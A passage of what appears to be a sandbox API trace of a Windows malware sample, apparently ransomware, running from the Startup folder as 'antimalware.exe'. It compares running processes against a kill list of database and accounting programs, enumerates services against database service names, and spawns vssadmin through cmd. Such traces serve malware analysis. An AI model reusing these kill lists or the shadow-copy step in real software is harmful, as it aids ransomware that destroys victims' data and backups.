	[0164.677] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0164.677] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0164.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0164.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0164.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0164.677] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0164.678] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0164.678] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0164.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0164.678] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0164.678] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0164.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0164.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0164.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0164.678] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0164.679] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0164.679] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1
	[0164.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1
	[0164.679] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0164.680] lstrlenW (lpString="sihost.exe") returned 10
	[0164.680] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1
	[0164.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1
	[0164.680] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0164.681] lstrlenW (lpString="Memory Compression") returned 18
	[0164.681] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1
	[0164.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1
	[0164.681] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1
	[0164.681] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1
	[0164.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1
	[0164.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1
	[0164.682] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1
	[0164.682] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.682] lstrlenW (lpString="svchost.exe") returned 11
	[0164.682] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.682] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.683] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.683] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.683] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.683] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.683] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.684] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.684] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
	[0164.684] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0164.685] lstrlenW (lpString="msoia.exe") returned 9
	[0164.685] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1
	[0164.685] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1
	[0164.685] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1
	[0164.685] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1
	[0164.685] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1
	[0164.685] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1
	[0164.685] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1
	[0164.685] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0164.686] lstrlenW (lpString="explorer.exe") returned 12
	[0164.686] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0164.686] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0164.686] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0164.686] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0164.686] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0164.686] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1
	[0164.686] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1
	[0164.686] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0164.687] lstrlenW (lpString="SearchUI.exe") returned 12
	[0164.687] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1
	[0164.687] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1
	[0164.687] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1
	[0164.687] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1
	[0164.935] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1
	[0164.935] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1
	[0164.935] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1
	[0164.935] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0164.936] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0164.936] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.936] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.937] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.937] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.937] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.937] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1
	[0164.937] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1
	[0164.937] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0164.938] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0164.938] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.938] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.938] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.939] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.939] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.939] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1
	[0164.939] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1
	[0164.939] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0164.940] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0164.940] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1
	[0164.940] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0164.941] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0164.941] lstrcmpiW (lpString1="1c8.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned -1
	[0164.941] lstrcmpiW (lpString1="1cv77.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned -1
	[0164.941] lstrcmpiW (lpString1="outlook.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0164.942] lstrcmpiW (lpString1="postgres.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0164.942] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0164.942] lstrcmpiW (lpString1="mysqld.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0164.942] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 1
	[0164.942] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0164.943] lstrlenW (lpString="cmd.exe") returned 7
	[0164.943] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1
	[0164.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1
	[0164.943] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1
	[0164.943] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1
	[0164.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1
	[0164.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1
	[0164.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1
	[0164.943] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0164.944] lstrlenW (lpString="conhost.exe") returned 11
	[0164.944] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0164.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0164.944] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0164.944] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0164.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1
	[0164.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1
	[0164.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1
	[0164.945] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0164.951] lstrlenW (lpString="consent.exe") returned 11
	[0164.951] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1
	[0164.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1
	[0164.952] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1
	[0164.952] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1
	[0164.952] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1
	[0164.952] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1
	[0164.952] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1
	[0164.952] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0164.953] lstrlenW (lpString="vssadmin.exe") returned 12
	[0164.953] lstrcmpiW (lpString1="1c8.exe", lpString2="vssadmin.exe") returned -1
	[0164.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="vssadmin.exe") returned -1
	[0164.953] lstrcmpiW (lpString1="outlook.exe", lpString2="vssadmin.exe") returned -1
	[0164.953] lstrcmpiW (lpString1="postgres.exe", lpString2="vssadmin.exe") returned -1
	[0164.953] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0164.954] CloseHandle (hObject=0x554) returned 1
	[0164.954] Sleep (dwMilliseconds=0x1f4) 
	[0165.876] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff58
	[0165.876] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0165.877] GetLastError () returned 0xea
	[0165.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f03f0
	[0165.877] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f03f0, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f03f0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0165.878] CloseServiceHandle (hSCObject=0x45aff58) returned 1
	[0165.905] lstrlenW (lpString="Appinfo") returned 7
	[0165.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0165.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0165.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0165.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0165.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0165.905] lstrlenW (lpString="AppXSvc") returned 7
	[0165.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.905] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0165.906] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0165.906] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0165.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0165.906] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0165.906] lstrlenW (lpString="Audiosrv") returned 8
	[0165.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0165.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0165.906] lstrlenW (lpString="BFE") returned 3
	[0165.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0165.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0165.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0165.906] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0165.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0165.906] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0165.906] lstrlenW (lpString="CDPSvc") returned 6
	[0165.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.906] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0165.907] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0165.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0165.907] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0165.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0165.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0165.907] lstrlenW (lpString="CryptSvc") returned 8
	[0165.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0165.907] lstrlenW (lpString="DcomLaunch") returned 10
	[0165.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0165.907] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0165.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0165.907] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0165.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0165.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0165.908] lstrlenW (lpString="Dhcp") returned 4
	[0165.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0165.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0165.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0165.908] lstrlenW (lpString="Dnscache") returned 8
	[0165.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0165.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0165.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0165.908] lstrlenW (lpString="DPS") returned 3
	[0165.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0165.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0165.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0165.908] lstrlenW (lpString="DusmSvc") returned 7
	[0165.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
